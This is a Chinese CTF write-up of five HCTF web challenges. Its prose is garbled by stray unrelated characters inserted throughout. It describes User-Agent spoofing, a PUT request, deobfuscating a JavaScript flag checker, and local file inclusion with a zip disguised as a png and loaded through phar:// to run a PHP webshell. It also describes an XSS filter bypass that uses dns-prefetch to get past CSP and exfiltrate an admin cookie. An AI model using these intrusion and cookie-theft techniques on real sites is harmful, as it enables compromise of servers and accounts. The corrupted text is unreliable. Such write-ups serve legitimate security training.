做了5個(gè)web題墩衙,分享一下思路甲抖。。
Level-1
1. 2099年的flag
打開鏈接准谚,提示需要ios99才能得到flag,源碼的注釋中提示要POST柱衔,那么就修改User-Agent頭為ios的頭,版本改成99就好了唆铐。
Level-2
1. RESTFUL
打開題目鏈接鏈接,有這么一句
{"message":""Please <PUT> me some <money> more than <12450>!""}
很容易想到艾岂,需要使用PUT方法,并傳遞一個(gè)大于12450的money參數(shù)王浴,結(jié)合題目名,聯(lián)想到RESTFUL API叼耙,最終構(gòu)造路徑:
以PUT方式訪問即可得到flag
hctf{Do_you_know_12450?}
2. giligili
打開題目鏈接筛婉,提示需要填入hctf{...}形式的字符串,應(yīng)該就是flag了癞松。
查看源碼,發(fā)現(xiàn)一段混淆過的js代碼响蓉。
**1) 預(yù)處理 **
先去掉一些不會(huì)用到的變量,函數(shù)枫甲,然后整理扼褪,格式化一下粱栖。整個(gè)代碼大概可以分為三段:
- 一個(gè)存儲(chǔ)了一些的函數(shù)對(duì)象“_”
- 一個(gè)保存了訪問這些函數(shù)索引的數(shù)組“$”
- 一個(gè)函數(shù)check,用來處理主要邏輯闹究。
2)計(jì)算answer
check函數(shù)同樣也分為幾個(gè)部分,我們注意到代碼中對(duì)answer進(jìn)行了分隔
o = answer.split("_");
所以圍繞o[0]渣淤,o[1],o[2]价认,o[3]看就好了
- o[1]和o[2]
h = new MersenneTwister(parseInt(btoa(answer.substring(0, 4)), 32));
e = h.random() * 99;
e ^= h.mt[0];
l = new MersenneTwister(e);
l.random();l.random();l.random();
o = answer.split("_");
i = l.mt[~~(h.random() * 35725343) % 255];
s = ["0x" + i.toString(16), "0x" + e.toString(16).split("-")[1]];
e = -(this.eval(_[$[31]](o[1])) ^ s[0]);
if (-e != 0x697a) return false;
e ^= (this.eval(_[$[31]](o[2])) ^ s[1]);
if (-e != 0x623f21c1) return false;
注意到開始對(duì)answer取了前4位,而answer的形式又是hctf{...}刻伊,所以這里就是“hctf”,帶進(jìn)去根據(jù)后面的兩個(gè)if判斷捶箱,可以算出o[1]和o[2]
- o[0]和o[3]
o[0] = o[0].substring(5);
o[3] = o[3].substring(0, o[3].length - 1);
if (o[0].length > 5) return false;
a = parseInt(_[$[23]]("1", Math.max(o[0].length, o[3].length)), 3) ^ eval(_[$[31]](o[0]));
a += _[$[31]](o[3].substring(o[3].length - 2)).split("x")[1];
if (parseInt(a.split("84")[1], $.length / 2) != 0x4439feb) return false;
d = parseInt(a, 16) == (Math.pow(2, 16) + -5 + "") + o[3].charCodeAt(o[3].length - 3).toString(16) + "53846" + (new Date().getFullYear() - 1 + "");
i = 0xffff;
n = (p = (f = _[$[23]](o[3].charAt(o[3].length - 4), 3)) == o[3].substring(1, 4));
g = 3;
t = _[$[23]](o[3].charAt(3), 3) == o[3].substring(5, 8) && o[3].charCodeAt(1) * o[0].charCodeAt(0) == 0x2ef3;
h = ((31249 * g) & i).toString(16);
i = _[$[31]](o[3].split(f).join("").substring(0, 2)).split("x")[1];
s = i == h;
return (p & t & s & d) === 1 || (p & t & s & d) === true;
注意到前面對(duì)o[0]和o[3]進(jìn)行了截取,這主要是為了去掉前面的“hctf{”和最后的“}”
然后從后往前看荠锭,要求p,t晨川,s证九,d都為真共虑,根據(jù)這個(gè)一點(diǎn)一點(diǎn)推,中間會(huì)遇到需要暴力猜解的情況妈拌,可以算出o[0]和o[3],最后拼起來就是flag了尘分。不過發(fā)現(xiàn)這個(gè)代碼邏輯有一點(diǎn)問題,不過最后猜了一下flag應(yīng)該是完整的一句話培愁,在這個(gè)代碼中是不能通過的,但是交上去通過了:
hctf{wh3r3_iz_y0ur_neee3eeed??}
3. 兵者多詭
// 這個(gè)跟之前的swpu的ctf很像定续,但是比較坑的是基本沒有提示禾锤。。时肿。所以沒有做過類似題目的很難有這個(gè)腦洞。
打開題目鏈接港粱,是一個(gè)圖片上傳頁面,上傳后會(huì)給出上傳后存儲(chǔ)的地址查坪。文件名會(huì)被修改為“隨機(jī)字符串.png”的形式
經(jīng)測(cè)試發(fā)現(xiàn)后臺(tái)并不檢測(cè)文件名和文件類型,只檢測(cè)Content-Type偿曙,但是由于對(duì)文件重命名了,所以無論如何上傳后都只能是png望忆。
但是發(fā)現(xiàn)上傳的請(qǐng)求url是這樣的形式:
/home.php?fp=upload
所以猜測(cè)后臺(tái)邏輯可能是include了一個(gè)upload文件進(jìn)行處理,那么試試將upload改成“../../../etc/passwd”:
/home.php?fp=../../../etc/passwd
頁面返回:
No No No!
說明猜測(cè)對(duì)了启摄,這樣我們可以試試讀取upload.php的源碼,是可以的歉备,那么和swpu類似,我們可以使用php的phar協(xié)議讀取壓縮文件中的文件蕾羊,從而實(shí)現(xiàn)命令執(zhí)行。
我們首先做一個(gè)一句話木馬shell.php龟再,然后壓縮成zip,然后將這個(gè)zip后綴改成“.png”后上傳利凑。
假設(shè)上傳后的圖片為路徑為“uploads/xxx.jpg”,那么我們?cè)L問這個(gè)url就可以將shell代碼包含到當(dāng)前頁面:
/home.php?fp=phar://uploads/shell
后臺(tái)會(huì)自動(dòng)給fp后面添上“.php”截碴,然后包含蛉威,這樣就可以命令執(zhí)行了,讀取到/var/www目錄下有一個(gè)“Th1s_1s_F1a9.php html ”蚯嫌,cat一下丙躏,然后查看源碼,找到flag:
hctf{Th1s_1s_e4sY_1s_n0T_1t?}
Level-3
1. guestbook
打開鏈接晒旅,有兩個(gè)輸入框message和code,有提示
substr(md5($code),0,4) =='cec6'
這個(gè)后面的“cec6”沒刷新一次就會(huì)變
很明顯要讓code的md5前四位等于cec6废恋,寫了一個(gè)腳本算了一下,用1000000以內(nèi)的數(shù)字去試就好了鱼鼓,正確會(huì)顯示提交成功,然后會(huì)提示:
AWAITING FOR THE ADMIN'S APPROVAL
并把提交的message的值顯示出來迄本,既然說等待管理員的同意嘛,然后又顯示我們提交的東西课竣,那么猜測(cè)是一個(gè)XSS。經(jīng)過測(cè)試于樟,有一些過濾,下面給出繞過方法:
- 1.會(huì)將message中的“img”隔披,“svg”,“script”奢米,“on”刪掉
雙寫繞過就好了(scrscriptipt) - 2.“/”換成“_”
用escape之類的編碼一下就好了 - 3.過濾了單引號(hào)
用雙引號(hào),或者是反引號(hào)
然后響應(yīng)頭中還有CSP策略鬓长,看了一下限制挺多了,就不想了涉波,直接用dns預(yù)加載繞過,寫個(gè)腳本插入標(biāo)簽:
<link rel="dns-prefetch" >
這樣頁面就會(huì)發(fā)一個(gè)dns查詢請(qǐng)求啤覆,無視所有的CSP限制,這樣就可以用dnslog打到管理員cookie了:
admin=hctf2o16com30nag0gog0
以為這就是flag窗声,可惜不對(duì),所以繼續(xù)打管理頁面名字笨觅,然后帶著這個(gè)cookie訪問這個(gè)頁面就可以得到flag了拦耐。
- Level-3還有個(gè)web看了下沒思路,就去睡覺了杀糯,總結(jié)還是太菜了。固翰。